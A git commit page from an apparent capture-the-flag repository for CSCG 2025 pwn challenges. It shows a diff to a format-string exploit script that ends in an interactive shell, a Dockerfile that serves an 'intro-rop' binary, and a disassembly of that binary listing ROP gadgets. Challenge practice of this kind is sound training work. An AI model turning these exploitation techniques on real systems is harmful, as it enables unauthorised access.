cato447/ctf
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

dingdong

Browse Source
This commit is contained in:
cato447
2025-03-11 20:12:21 +01:00
parent 07846953f0
commit 40fc9f70bd
14 changed files with 927 additions and 1 deletions
Download Patch File Download Diff File Expand all files Collapse all files

BIN
cscg25/pwn/intro2/core.3724068 Normal file
View File

Binary file not shown.

BIN
cscg25/pwn/intro2/core.3737878 Normal file
View File

Binary file not shown.

4
cscg25/pwn/intro2/exploit.py
View File

@@ -23,7 +23,9 @@ bug_addr = 0x40406c
# Example interaction
recv_until(b'What is your name?')
payload = b"\x6c\x40\x40 %x %x %x %x %s"
payload = b"\x40\x40\x6c" + b"%08$6x\n"
print("enter if gdb attached")
input()
send_payload(payload)
interact() # Keep the shell open

56
cscg25/pwn/intro3/Dockerfile Normal file
View File

@@ -0,0 +1,56 @@
FROM debian:bookworm-20250203-slim@sha256:40b107342c492725bc7aacbe93a49945445191ae364184a6d24fedb28172f6f7 AS ynetd-builder
ADD --chmod=0755 --checksum=sha256:c125df9762b0c7233459087bb840c0e5dbfc4d9690ee227f1ed8994f4d51d2e0 \
https://raw.githubusercontent.com/reproducible-containers/repro-sources-list.sh/v0.1.4/repro-sources-list.sh \
/usr/local/bin/repro-sources-list.sh
RUN --mount=type=cache,target=/var/cache/apt,sharing=locked --mount=type=cache,target=/var/lib/apt,sharing=locked \
/usr/local/bin/repro-sources-list.sh && \
apt-get update && \
DEBIAN_FRONTEND=noninteractive apt-get install --no-install-recommends --yes \
musl-dev \
musl-tools \
make \
xz-utils && \
rm -f /usr/local/bin/repro-sources-list.sh
WORKDIR /work
ADD --chmod=0666 --checksum=sha256:4300f2fbc3996bc389d3c03a74662bfff3106ac1930942c5bd27580c7ba5053d \
https://yx7.cc/code/ynetd/ynetd-0.1.2.tar.xz \
/work/ynetd-0.1.2.tar.xz
RUN tar -xJf ynetd-0.1.2.tar.xz && cd ynetd-0.1.2 && CC="musl-gcc" CFLAGS="-static" make
FROM debian:bookworm-20250203-slim@sha256:40b107342c492725bc7aacbe93a49945445191ae364184a6d24fedb28172f6f7 AS challenge-builder
ADD --chmod=0755 --checksum=sha256:c125df9762b0c7233459087bb840c0e5dbfc4d9690ee227f1ed8994f4d51d2e0 \
https://raw.githubusercontent.com/reproducible-containers/repro-sources-list.sh/v0.1.4/repro-sources-list.sh \
/usr/local/bin/repro-sources-list.sh
RUN --mount=type=cache,target=/var/cache/apt,sharing=locked --mount=type=cache,target=/var/lib/apt,sharing=locked \
/usr/local/bin/repro-sources-list.sh && \
apt-get update && \
DEBIAN_FRONTEND=noninteractive apt-get install --no-install-recommends --yes \
gcc libc-dev && \
rm -f /usr/local/bin/repro-sources-list.sh
WORKDIR /work
COPY ./intro-rop.c /work/intro-rop.c
RUN gcc ./intro-rop.c -o ./intro-rop
RUN echo "e8004a854d4ad3ef7818f88632db90a31518445803d28fc7757d882ae162de1c ./intro-rop" | sha256sum -c
FROM debian:bookworm-20250203-slim@sha256:40b107342c492725bc7aacbe93a49945445191ae364184a6d24fedb28172f6f7 AS runner
COPY --from=ynetd-builder /work/ynetd-0.1.2/ynetd /ynetd
COPY --from=challenge-builder /work/intro-rop /intro-rop
COPY ./flag /flag
EXPOSE 1024
CMD ["/ynetd", "-se", "y", "-p", "1024", "/intro-rop"]

BIN
cscg25/pwn/intro3/core.3891920 Normal file
View File

Binary file not shown.

BIN
cscg25/pwn/intro3/core.3892192 Normal file
View File

Binary file not shown.

BIN
cscg25/pwn/intro3/core.3892488 Normal file
View File

Binary file not shown.

BIN
cscg25/pwn/intro3/core.3916686 Normal file
View File

Binary file not shown.

550
cscg25/pwn/intro3/dump Normal file
View File

@@ -0,0 +1,550 @@
intro-rop: file format elf64-x86-64
Disassembly of section .init:
0000000000001000 <_init>:
1000: 48 83 ec 08 sub rsp,0x8
1004: 48 8b 05 c5 2f 00 00 mov rax,QWORD PTR [rip+0x2fc5] # 3fd0 <__gmon_start__@Base>
100b: 48 85 c0 test rax,rax
100e: 74 02 je 1012 <_init+0x12>
1010: ff d0 call rax
1012: 48 83 c4 08 add rsp,0x8
1016: c3 ret
Disassembly of section .plt:
0000000000001020 <dlinfo@plt-0x10>:
1020: ff 35 ca 2f 00 00 push QWORD PTR [rip+0x2fca] # 3ff0 <_GLOBAL_OFFSET_TABLE_+0x8>
1026: ff 25 cc 2f 00 00 jmp QWORD PTR [rip+0x2fcc] # 3ff8 <_GLOBAL_OFFSET_TABLE_+0x10>
102c: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
0000000000001030 <dlinfo@plt>:
1030: ff 25 ca 2f 00 00 jmp QWORD PTR [rip+0x2fca] # 4000 <dlinfo@GLIBC_2.34>
1036: 68 00 00 00 00 push 0x0
103b: e9 e0 ff ff ff jmp 1020 <_init+0x20>
0000000000001040 <dlerror@plt>:
1040: ff 25 c2 2f 00 00 jmp QWORD PTR [rip+0x2fc2] # 4008 <dlerror@GLIBC_2.34>
1046: 68 01 00 00 00 push 0x1
104b: e9 d0 ff ff ff jmp 1020 <_init+0x20>
0000000000001050 <puts@plt>:
1050: ff 25 ba 2f 00 00 jmp QWORD PTR [rip+0x2fba] # 4010 <puts@GLIBC_2.2.5>
1056: 68 02 00 00 00 push 0x2
105b: e9 c0 ff ff ff jmp 1020 <_init+0x20>
0000000000001060 <dladdr@plt>:
1060: ff 25 b2 2f 00 00 jmp QWORD PTR [rip+0x2fb2] # 4018 <dladdr@GLIBC_2.34>
1066: 68 03 00 00 00 push 0x3
106b: e9 b0 ff ff ff jmp 1020 <_init+0x20>
0000000000001070 <printf@plt>:
1070: ff 25 aa 2f 00 00 jmp QWORD PTR [rip+0x2faa] # 4020 <printf@GLIBC_2.2.5>
1076: 68 04 00 00 00 push 0x4
107b: e9 a0 ff ff ff jmp 1020 <_init+0x20>
0000000000001080 <dlopen@plt>:
1080: ff 25 a2 2f 00 00 jmp QWORD PTR [rip+0x2fa2] # 4028 <dlopen@GLIBC_2.34>
1086: 68 05 00 00 00 push 0x5
108b: e9 90 ff ff ff jmp 1020 <_init+0x20>
0000000000001090 <fprintf@plt>:
1090: ff 25 9a 2f 00 00 jmp QWORD PTR [rip+0x2f9a] # 4030 <fprintf@GLIBC_2.2.5>
1096: 68 06 00 00 00 push 0x6
109b: e9 80 ff ff ff jmp 1020 <_init+0x20>
00000000000010a0 <memmem@plt>:
10a0: ff 25 92 2f 00 00 jmp QWORD PTR [rip+0x2f92] # 4038 <memmem@GLIBC_2.2.5>
10a6: 68 07 00 00 00 push 0x7
10ab: e9 70 ff ff ff jmp 1020 <_init+0x20>
00000000000010b0 <memcpy@plt>:
10b0: ff 25 8a 2f 00 00 jmp QWORD PTR [rip+0x2f8a] # 4040 <memcpy@GLIBC_2.14>
10b6: 68 08 00 00 00 push 0x8
10bb: e9 60 ff ff ff jmp 1020 <_init+0x20>
00000000000010c0 <malloc@plt>:
10c0: ff 25 82 2f 00 00 jmp QWORD PTR [rip+0x2f82] # 4048 <malloc@GLIBC_2.2.5>
10c6: 68 09 00 00 00 push 0x9
10cb: e9 50 ff ff ff jmp 1020 <_init+0x20>
00000000000010d0 <setvbuf@plt>:
10d0: ff 25 7a 2f 00 00 jmp QWORD PTR [rip+0x2f7a] # 4050 <setvbuf@GLIBC_2.2.5>
10d6: 68 0a 00 00 00 push 0xa
10db: e9 40 ff ff ff jmp 1020 <_init+0x20>
00000000000010e0 <dlsym@plt>:
10e0: ff 25 72 2f 00 00 jmp QWORD PTR [rip+0x2f72] # 4058 <dlsym@GLIBC_2.34>
10e6: 68 0b 00 00 00 push 0xb
10eb: e9 30 ff ff ff jmp 1020 <_init+0x20>
00000000000010f0 <__isoc99_scanf@plt>:
10f0: ff 25 6a 2f 00 00 jmp QWORD PTR [rip+0x2f6a] # 4060 <__isoc99_scanf@GLIBC_2.7>
10f6: 68 0c 00 00 00 push 0xc
10fb: e9 20 ff ff ff jmp 1020 <_init+0x20>
0000000000001100 <exit@plt>:
1100: ff 25 62 2f 00 00 jmp QWORD PTR [rip+0x2f62] # 4068 <exit@GLIBC_2.2.5>
1106: 68 0d 00 00 00 push 0xd
110b: e9 10 ff ff ff jmp 1020 <_init+0x20>
0000000000001110 <dlclose@plt>:
1110: ff 25 5a 2f 00 00 jmp QWORD PTR [rip+0x2f5a] # 4070 <dlclose@GLIBC_2.34>
1116: 68 0e 00 00 00 push 0xe
111b: e9 00 ff ff ff jmp 1020 <_init+0x20>
Disassembly of section .plt.got:
0000000000001120 <__cxa_finalize@plt>:
1120: ff 25 ba 2e 00 00 jmp QWORD PTR [rip+0x2eba] # 3fe0 <__cxa_finalize@GLIBC_2.2.5>
1126: 66 90 xchg ax,ax
Disassembly of section .text:
0000000000001130 <_start>:
1130: 31 ed xor ebp,ebp
1132: 49 89 d1 mov r9,rdx
1135: 5e pop rsi
1136: 48 89 e2 mov rdx,rsp
1139: 48 83 e4 f0 and rsp,0xfffffffffffffff0
113d: 50 push rax
113e: 54 push rsp
113f: 45 31 c0 xor r8d,r8d
1142: 31 c9 xor ecx,ecx
1144: 48 8d 3d 54 05 00 00 lea rdi,[rip+0x554] # 169f <main>
114b: ff 15 6f 2e 00 00 call QWORD PTR [rip+0x2e6f] # 3fc0 <__libc_start_main@GLIBC_2.34>
1151: f4 hlt
1152: 66 2e 0f 1f 84 00 00 cs nop WORD PTR [rax+rax*1+0x0]
1159: 00 00 00
115c: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
0000000000001160 <deregister_tm_clones>:
1160: 48 8d 3d b9 2f 00 00 lea rdi,[rip+0x2fb9] # 4120 <stdout@GLIBC_2.2.5>
1167: 48 8d 05 b2 2f 00 00 lea rax,[rip+0x2fb2] # 4120 <stdout@GLIBC_2.2.5>
116e: 48 39 f8 cmp rax,rdi
1171: 74 15 je 1188 <deregister_tm_clones+0x28>
1173: 48 8b 05 4e 2e 00 00 mov rax,QWORD PTR [rip+0x2e4e] # 3fc8 <_ITM_deregisterTMCloneTable@Base>
117a: 48 85 c0 test rax,rax
117d: 74 09 je 1188 <deregister_tm_clones+0x28>
117f: ff e0 jmp rax
1181: 0f 1f 80 00 00 00 00 nop DWORD PTR [rax+0x0]
1188: c3 ret
1189: 0f 1f 80 00 00 00 00 nop DWORD PTR [rax+0x0]
0000000000001190 <register_tm_clones>:
1190: 48 8d 3d 89 2f 00 00 lea rdi,[rip+0x2f89] # 4120 <stdout@GLIBC_2.2.5>
1197: 48 8d 35 82 2f 00 00 lea rsi,[rip+0x2f82] # 4120 <stdout@GLIBC_2.2.5>
119e: 48 29 fe sub rsi,rdi
11a1: 48 89 f0 mov rax,rsi
11a4: 48 c1 ee 3f shr rsi,0x3f
11a8: 48 c1 f8 03 sar rax,0x3
11ac: 48 01 c6 add rsi,rax
11af: 48 d1 fe sar rsi,1
11b2: 74 14 je 11c8 <register_tm_clones+0x38>
11b4: 48 8b 05 1d 2e 00 00 mov rax,QWORD PTR [rip+0x2e1d] # 3fd8 <_ITM_registerTMCloneTable@Base>
11bb: 48 85 c0 test rax,rax
11be: 74 08 je 11c8 <register_tm_clones+0x38>
11c0: ff e0 jmp rax
11c2: 66 0f 1f 44 00 00 nop WORD PTR [rax+rax*1+0x0]
11c8: c3 ret
11c9: 0f 1f 80 00 00 00 00 nop DWORD PTR [rax+0x0]
00000000000011d0 <__do_global_dtors_aux>:
11d0: f3 0f 1e fa endbr64
11d4: 80 3d 6d 2f 00 00 00 cmp BYTE PTR [rip+0x2f6d],0x0 # 4148 <completed.0>
11db: 75 2b jne 1208 <__do_global_dtors_aux+0x38>
11dd: 55 push rbp
11de: 48 83 3d fa 2d 00 00 cmp QWORD PTR [rip+0x2dfa],0x0 # 3fe0 <__cxa_finalize@GLIBC_2.2.5>
11e5: 00
11e6: 48 89 e5 mov rbp,rsp
11e9: 74 0c je 11f7 <__do_global_dtors_aux+0x27>
11eb: 48 8b 3d 96 2e 00 00 mov rdi,QWORD PTR [rip+0x2e96] # 4088 <__dso_handle>
11f2: e8 29 ff ff ff call 1120 <__cxa_finalize@plt>
11f7: e8 64 ff ff ff call 1160 <deregister_tm_clones>
11fc: c6 05 45 2f 00 00 01 mov BYTE PTR [rip+0x2f45],0x1 # 4148 <completed.0>
1203: 5d pop rbp
1204: c3 ret
1205: 0f 1f 00 nop DWORD PTR [rax]
1208: c3 ret
1209: 0f 1f 80 00 00 00 00 nop DWORD PTR [rax+0x0]
0000000000001210 <frame_dummy>:
1210: f3 0f 1e fa endbr64
1214: e9 77 ff ff ff jmp 1190 <register_tm_clones>
0000000000001219 <ignore_me_init_buffering>:
1219: 55 push rbp
121a: 48 89 e5 mov rbp,rsp
121d: 48 8b 05 fc 2e 00 00 mov rax,QWORD PTR [rip+0x2efc] # 4120 <stdout@GLIBC_2.2.5>
1224: b9 00 00 00 00 mov ecx,0x0
1229: ba 02 00 00 00 mov edx,0x2
122e: be 00 00 00 00 mov esi,0x0
1233: 48 89 c7 mov rdi,rax
1236: e8 95 fe ff ff call 10d0 <setvbuf@plt>
123b: 48 8b 05 ee 2e 00 00 mov rax,QWORD PTR [rip+0x2eee] # 4130 <stdin@GLIBC_2.2.5>
1242: b9 00 00 00 00 mov ecx,0x0
1247: ba 02 00 00 00 mov edx,0x2
124c: be 00 00 00 00 mov esi,0x0
1251: 48 89 c7 mov rdi,rax
1254: e8 77 fe ff ff call 10d0 <setvbuf@plt>
1259: 48 8b 05 e0 2e 00 00 mov rax,QWORD PTR [rip+0x2ee0] # 4140 <stderr@GLIBC_2.2.5>
1260: b9 00 00 00 00 mov ecx,0x0
1265: ba 02 00 00 00 mov edx,0x2
126a: be 00 00 00 00 mov esi,0x0
126f: 48 89 c7 mov rdi,rax
1272: e8 59 fe ff ff call 10d0 <setvbuf@plt>
1277: 90 nop
1278: 5d pop rbp
1279: c3 ret
000000000000127a <gadget_0>:
127a: 58 pop rax
127b: c3 ret
000000000000127c <gadget_1>:
127c: 4c 01 cb add rbx,r9
127f: c3 ret
0000000000001280 <gadget_2>:
1280: 48 8b 0b mov rcx,QWORD PTR [rbx]
1283: c3 ret
0000000000001284 <gadget_3>:
1284: 4c 89 c0 mov rax,r8
1287: 4c 89 cb mov rbx,r9
128a: 4c 89 d1 mov rcx,r10
128d: c3 ret
000000000000128e <gadget_4>:
128e: 48 31 f9 xor rcx,rdi
1291: 48 31 fb xor rbx,rdi
1294: c3 ret
0000000000001295 <gadget_5>:
1295: 50 push rax
1296: c3 ret
0000000000001297 <gadget_6>:
1297: 48 31 c0 xor rax,rax
129a: 48 31 f6 xor rsi,rsi
129d: c3 ret
000000000000129e <gadget_7>:
129e: 48 83 e8 08 sub rax,0x8
12a2: 48 f7 ff idiv rdi
12a5: c3 ret
00000000000012a6 <gadget_8>:
12a6: 4c 01 c7 add rdi,r8
12a9: c3 ret
00000000000012aa <gadget_9>:
12aa: 90 nop
12ab: c3 ret
00000000000012ac <gadget_10>:
12ac: 48 0f af d8 imul rbx,rax
12b0: c3 ret
00000000000012b1 <gadget_11>:
12b1: 4d 31 c1 xor r9,r8
12b4: 4d 31 c8 xor r8,r9
12b7: 4d 31 c1 xor r9,r8
12ba: c3 ret
00000000000012bb <gadget_12>:
12bb: 48 89 f1 mov rcx,rsi
12be: 4c 01 d1 add rcx,r10
12c1: c3 ret
00000000000012c2 <gadget_13>:
12c2: 48 31 cf xor rdi,rcx
12c5: 48 31 ce xor rsi,rcx
12c8: c3 ret
00000000000012c9 <gadget_14>:
12c9: 5b pop rbx
12ca: 57 push rdi
12cb: 53 push rbx
12cc: c3 ret
00000000000012cd <gadget_15>:
12cd: 5d pop rbp
12ce: 5e pop rsi
12cf: c3 ret
00000000000012d0 <get_libc_addr>:
12d0: 55 push rbp
12d1: 48 89 e5 mov rbp,rsp
12d4: 48 83 ec 20 sub rsp,0x20
12d8: 48 89 7d e8 mov QWORD PTR [rbp-0x18],rdi
12dc: be 01 00 00 00 mov esi,0x1
12e1: 48 8d 05 20 0d 00 00 lea rax,[rip+0xd20] # 2008 <_IO_stdin_used+0x8>
12e8: 48 89 c7 mov rdi,rax
12eb: e8 90 fd ff ff call 1080 <dlopen@plt>
12f0: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
12f4: 48 83 7d f8 00 cmp QWORD PTR [rbp-0x8],0x0
12f9: 75 2d jne 1328 <get_libc_addr+0x58>
12fb: e8 40 fd ff ff call 1040 <dlerror@plt>
1300: 48 89 c2 mov rdx,rax
1303: 48 8b 05 36 2e 00 00 mov rax,QWORD PTR [rip+0x2e36] # 4140 <stderr@GLIBC_2.2.5>
130a: 48 8d 0d 01 0d 00 00 lea rcx,[rip+0xd01] # 2012 <_IO_stdin_used+0x12>
1311: 48 89 ce mov rsi,rcx
1314: 48 89 c7 mov rdi,rax
1317: b8 00 00 00 00 mov eax,0x0
131c: e8 6f fd ff ff call 1090 <fprintf@plt>
1321: b8 00 00 00 00 mov eax,0x0
1326: eb 67 jmp 138f <get_libc_addr+0xbf>
1328: 48 8b 55 e8 mov rdx,QWORD PTR [rbp-0x18]
132c: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8]
1330: 48 89 d6 mov rsi,rdx
1333: 48 89 c7 mov rdi,rax
1336: e8 a5 fd ff ff call 10e0 <dlsym@plt>
133b: 48 89 45 f0 mov QWORD PTR [rbp-0x10],rax
133f: 48 83 7d f0 00 cmp QWORD PTR [rbp-0x10],0x0
1344: 75 39 jne 137f <get_libc_addr+0xaf>
1346: e8 f5 fc ff ff call 1040 <dlerror@plt>
134b: 48 89 c2 mov rdx,rax
134e: 48 8b 05 eb 2d 00 00 mov rax,QWORD PTR [rip+0x2deb] # 4140 <stderr@GLIBC_2.2.5>
1355: 48 8d 0d d4 0c 00 00 lea rcx,[rip+0xcd4] # 2030 <_IO_stdin_used+0x30>
135c: 48 89 ce mov rsi,rcx
135f: 48 89 c7 mov rdi,rax
1362: b8 00 00 00 00 mov eax,0x0
1367: e8 24 fd ff ff call 1090 <fprintf@plt>
136c: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8]
1370: 48 89 c7 mov rdi,rax
1373: e8 98 fd ff ff call 1110 <dlclose@plt>
1378: b8 00 00 00 00 mov eax,0x0
137d: eb 10 jmp 138f <get_libc_addr+0xbf>
137f: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8]
1383: 48 89 c7 mov rdi,rax
1386: e8 85 fd ff ff call 1110 <dlclose@plt>
138b: 48 8b 45 f0 mov rax,QWORD PTR [rbp-0x10]
138f: c9 leave
1390: c3 ret
0000000000001391 <get_binsh_str>:
1391: 55 push rbp
1392: 48 89 e5 mov rbp,rsp
1395: 48 83 ec 10 sub rsp,0x10
1399: be 01 00 00 00 mov esi,0x1
139e: 48 8d 05 63 0c 00 00 lea rax,[rip+0xc63] # 2008 <_IO_stdin_used+0x8>
13a5: 48 89 c7 mov rdi,rax
13a8: e8 d3 fc ff ff call 1080 <dlopen@plt>
13ad: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
13b1: 48 83 7d f8 00 cmp QWORD PTR [rbp-0x8],0x0
13b6: 75 30 jne 13e8 <get_binsh_str+0x57>
13b8: e8 83 fc ff ff call 1040 <dlerror@plt>
13bd: 48 89 c2 mov rdx,rax
13c0: 48 8b 05 79 2d 00 00 mov rax,QWORD PTR [rip+0x2d79] # 4140 <stderr@GLIBC_2.2.5>
13c7: 48 8d 0d 44 0c 00 00 lea rcx,[rip+0xc44] # 2012 <_IO_stdin_used+0x12>
13ce: 48 89 ce mov rsi,rcx
13d1: 48 89 c7 mov rdi,rax
13d4: b8 00 00 00 00 mov eax,0x0
13d9: e8 b2 fc ff ff call 1090 <fprintf@plt>
13de: b8 00 00 00 00 mov eax,0x0
13e3: e9 81 00 00 00 jmp 1469 <get_binsh_str+0xd8>
13e8: 48 8d 55 f0 lea rdx,[rbp-0x10]
13ec: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8]
13f0: be 02 00 00 00 mov esi,0x2
13f5: 48 89 c7 mov rdi,rax
13f8: e8 33 fc ff ff call 1030 <dlinfo@plt>
13fd: 85 c0 test eax,eax
13ff: 74 39 je 143a <get_binsh_str+0xa9>
1401: e8 3a fc ff ff call 1040 <dlerror@plt>
1406: 48 89 c2 mov rdx,rax
1409: 48 8b 05 30 2d 00 00 mov rax,QWORD PTR [rip+0x2d30] # 4140 <stderr@GLIBC_2.2.5>
1410: 48 8d 0d 3b 0c 00 00 lea rcx,[rip+0xc3b] # 2052 <_IO_stdin_used+0x52>
1417: 48 89 ce mov rsi,rcx
141a: 48 89 c7 mov rdi,rax
141d: b8 00 00 00 00 mov eax,0x0
1422: e8 69 fc ff ff call 1090 <fprintf@plt>
1427: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8]
142b: 48 89 c7 mov rdi,rax
142e: e8 dd fc ff ff call 1110 <dlclose@plt>
1433: b8 00 00 00 00 mov eax,0x0
1438: eb 2f jmp 1469 <get_binsh_str+0xd8>
143a: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8]
143e: 48 89 c7 mov rdi,rax
1441: e8 ca fc ff ff call 1110 <dlclose@plt>
1446: 48 8b 45 f0 mov rax,QWORD PTR [rbp-0x10]
144a: 48 8b 00 mov rax,QWORD PTR [rax]
144d: 48 89 c7 mov rdi,rax
1450: b9 08 00 00 00 mov ecx,0x8
1455: 48 8d 05 12 0c 00 00 lea rax,[rip+0xc12] # 206e <_IO_stdin_used+0x6e>
145c: 48 89 c2 mov rdx,rax
145f: be 00 00 00 10 mov esi,0x10000000
1464: e8 37 fc ff ff call 10a0 <memmem@plt>
1469: c9 leave
146a: c3 ret
000000000000146b <get_puts_got>:
146b: 55 push rbp
146c: 48 89 e5 mov rbp,rsp
146f: 48 83 ec 40 sub rsp,0x40
1473: 48 8d 05 66 29 00 00 lea rax,[rip+0x2966] # 3de0 <_DYNAMIC>
147a: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
147e: 48 8d 55 d0 lea rdx,[rbp-0x30]
1482: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8]
1486: 48 89 d6 mov rsi,rdx
1489: 48 89 c7 mov rdi,rax
148c: e8 cf fb ff ff call 1060 <dladdr@plt>
1491: 85 c0 test eax,eax
1493: 75 26 jne 14bb <get_puts_got+0x50>
1495: e8 a6 fb ff ff call 1040 <dlerror@plt>
149a: 48 89 c2 mov rdx,rax
149d: 48 8b 05 9c 2c 00 00 mov rax,QWORD PTR [rip+0x2c9c] # 4140 <stderr@GLIBC_2.2.5>
14a4: 48 8d 0d cd 0b 00 00 lea rcx,[rip+0xbcd] # 2078 <_IO_stdin_used+0x78>
14ab: 48 89 ce mov rsi,rcx
14ae: 48 89 c7 mov rdi,rax
14b1: b8 00 00 00 00 mov eax,0x0
14b6: e8 d5 fb ff ff call 1090 <fprintf@plt>
14bb: 48 8d 05 d9 0b 00 00 lea rax,[rip+0xbd9] # 209b <_IO_stdin_used+0x9b>
14c2: 48 89 c7 mov rdi,rax
14c5: e8 06 fe ff ff call 12d0 <get_libc_addr>
14ca: 48 89 45 c8 mov QWORD PTR [rbp-0x38],rax
14ce: 48 8b 45 d8 mov rax,QWORD PTR [rbp-0x28]
14d2: 48 8d 55 c8 lea rdx,[rbp-0x38]
14d6: b9 08 00 00 00 mov ecx,0x8
14db: be 00 00 01 00 mov esi,0x10000
14e0: 48 89 c7 mov rdi,rax
14e3: e8 b8 fb ff ff call 10a0 <memmem@plt>
14e8: c9 leave
14e9: c3 ret
00000000000014ea <print_stuff>:
14ea: 55 push rbp
14eb: 48 89 e5 mov rbp,rsp
14ee: 53 push rbx
14ef: 48 83 ec 48 sub rsp,0x48
14f3: bf 00 00 10 00 mov edi,0x100000
14f8: e8 c3 fb ff ff call 10c0 <malloc@plt>
14fd: 48 89 45 e0 mov QWORD PTR [rbp-0x20],rax
1501: 48 8d 05 98 0b 00 00 lea rax,[rip+0xb98] # 20a0 <_IO_stdin_used+0xa0>
1508: 48 89 c7 mov rdi,rax
150b: e8 40 fb ff ff call 1050 <puts@plt>
1510: 48 8d 05 b1 0b 00 00 lea rax,[rip+0xbb1] # 20c8 <_IO_stdin_used+0xc8>
1517: 48 89 c7 mov rdi,rax
151a: e8 31 fb ff ff call 1050 <puts@plt>
151f: c7 45 b4 00 00 00 00 mov DWORD PTR [rbp-0x4c],0x0
1526: c7 45 ec 00 00 00 00 mov DWORD PTR [rbp-0x14],0x0
152d: c7 45 dc 10 00 00 00 mov DWORD PTR [rbp-0x24],0x10
1534: b8 00 00 00 00 mov eax,0x0
1539: e8 53 fe ff ff call 1391 <get_binsh_str>
153e: 48 89 c3 mov rbx,rax
1541: 48 8d 05 53 0b 00 00 lea rax,[rip+0xb53] # 209b <_IO_stdin_used+0x9b>
1548: 48 89 c7 mov rdi,rax
154b: e8 80 fd ff ff call 12d0 <get_libc_addr>
1550: 48 29 c3 sub rbx,rax
1553: 48 89 da mov rdx,rbx
1556: 48 89 55 d0 mov QWORD PTR [rbp-0x30],rdx
155a: 48 8d 05 8f 0b 00 00 lea rax,[rip+0xb8f] # 20f0 <_IO_stdin_used+0xf0>
1561: 48 89 c7 mov rdi,rax
1564: e8 67 fd ff ff call 12d0 <get_libc_addr>
1569: 48 89 c3 mov rbx,rax
156c: 48 8d 05 28 0b 00 00 lea rax,[rip+0xb28] # 209b <_IO_stdin_used+0x9b>
1573: 48 89 c7 mov rdi,rax
1576: e8 55 fd ff ff call 12d0 <get_libc_addr>
157b: 48 29 c3 sub rbx,rax
157e: 48 89 da mov rdx,rbx
1581: 48 89 55 c8 mov QWORD PTR [rbp-0x38],rdx
1585: b8 00 00 00 00 mov eax,0x0
158a: e8 dc fe ff ff call 146b <get_puts_got>
158f: 48 89 45 c0 mov QWORD PTR [rbp-0x40],rax
1593: e9 97 00 00 00 jmp 162f <print_stuff+0x145>
1598: 48 8d 05 58 0b 00 00 lea rax,[rip+0xb58] # 20f7 <_IO_stdin_used+0xf7>
159f: 48 89 c7 mov rdi,rax
15a2: b8 00 00 00 00 mov eax,0x0
15a7: e8 c4 fa ff ff call 1070 <printf@plt>
15ac: 48 8d 45 b4 lea rax,[rbp-0x4c]
15b0: 48 89 c6 mov rsi,rax
15b3: 48 8d 05 55 0b 00 00 lea rax,[rip+0xb55] # 210f <_IO_stdin_used+0x10f>
15ba: 48 89 c7 mov rdi,rax
15bd: b8 00 00 00 00 mov eax,0x0
15c2: e8 29 fb ff ff call 10f0 <__isoc99_scanf@plt>
15c7: 8b 45 b4 mov eax,DWORD PTR [rbp-0x4c]
15ca: 39 45 dc cmp DWORD PTR [rbp-0x24],eax
15cd: 7e 0f jle 15de <print_stuff+0xf4>
15cf: 8b 45 b4 mov eax,DWORD PTR [rbp-0x4c]
15d2: 85 c0 test eax,eax
15d4: 79 21 jns 15f7 <print_stuff+0x10d>
15d6: 8b 45 b4 mov eax,DWORD PTR [rbp-0x4c]
15d9: 83 f8 ff cmp eax,0xffffffff
15dc: 74 19 je 15f7 <print_stuff+0x10d>
15de: 48 8d 05 2d 0b 00 00 lea rax,[rip+0xb2d] # 2112 <_IO_stdin_used+0x112>
15e5: 48 89 c7 mov rdi,rax
15e8: e8 63 fa ff ff call 1050 <puts@plt>
15ed: bf ff ff ff ff mov edi,0xffffffff
15f2: e8 09 fb ff ff call 1100 <exit@plt>
15f7: 8b 45 b4 mov eax,DWORD PTR [rbp-0x4c]
15fa: 48 98 cdqe
15fc: 48 8d 14 c5 00 00 00 lea rdx,[rax*8+0x0]
1603: 00
1604: 48 8d 05 95 2a 00 00 lea rax,[rip+0x2a95] # 40a0 <gadgets>
160b: 48 8b 0c 02 mov rcx,QWORD PTR [rdx+rax*1]
160f: 8b 45 ec mov eax,DWORD PTR [rbp-0x14]
1612: 8d 50 01 lea edx,[rax+0x1]
1615: 89 55 ec mov DWORD PTR [rbp-0x14],edx
1618: 48 98 cdqe
161a: 48 8d 14 c5 00 00 00 lea rdx,[rax*8+0x0]
1621: 00
1622: 48 8b 45 e0 mov rax,QWORD PTR [rbp-0x20]
1626: 48 01 d0 add rax,rdx
1629: 48 89 ca mov rdx,rcx
162c: 48 89 10 mov QWORD PTR [rax],rdx
162f: 8b 45 b4 mov eax,DWORD PTR [rbp-0x4c]
1632: 83 f8 ff cmp eax,0xffffffff
1635: 0f 85 5d ff ff ff jne 1598 <print_stuff+0xae>
163b: 48 8d 05 e4 0a 00 00 lea rax,[rip+0xae4] # 2126 <_IO_stdin_used+0x126>
1642: 48 89 c7 mov rdi,rax
1645: e8 06 fa ff ff call 1050 <puts@plt>
164a: 48 c7 45 b8 00 00 00 mov QWORD PTR [rbp-0x48],0x0
1651: 00
1652: 48 89 e8 mov rax,rbp
1655: 48 89 45 b8 mov QWORD PTR [rbp-0x48],rax
1659: 48 83 45 b8 08 add QWORD PTR [rbp-0x48],0x8
165e: 8b 45 ec mov eax,DWORD PTR [rbp-0x14]
1661: c1 e0 03 shl eax,0x3
1664: 48 63 d0 movsxd rdx,eax
1667: 48 8b 45 b8 mov rax,QWORD PTR [rbp-0x48]
166b: 48 8b 4d e0 mov rcx,QWORD PTR [rbp-0x20]
166f: 48 89 ce mov rsi,rcx
1672: 48 89 c7 mov rdi,rax
1675: e8 36 fa ff ff call 10b0 <memcpy@plt>
167a: 48 8b 45 e0 mov rax,QWORD PTR [rbp-0x20]
167e: 48 8b 55 c8 mov rdx,QWORD PTR [rbp-0x38]
1682: 48 8b 4d c0 mov rcx,QWORD PTR [rbp-0x40]
1686: 48 8b 75 d0 mov rsi,QWORD PTR [rbp-0x30]
168a: 48 89 c4 mov rsp,rax
168d: 49 89 d0 mov r8,rdx
1690: 49 89 c9 mov r9,rcx
1693: 49 89 f2 mov r10,rsi
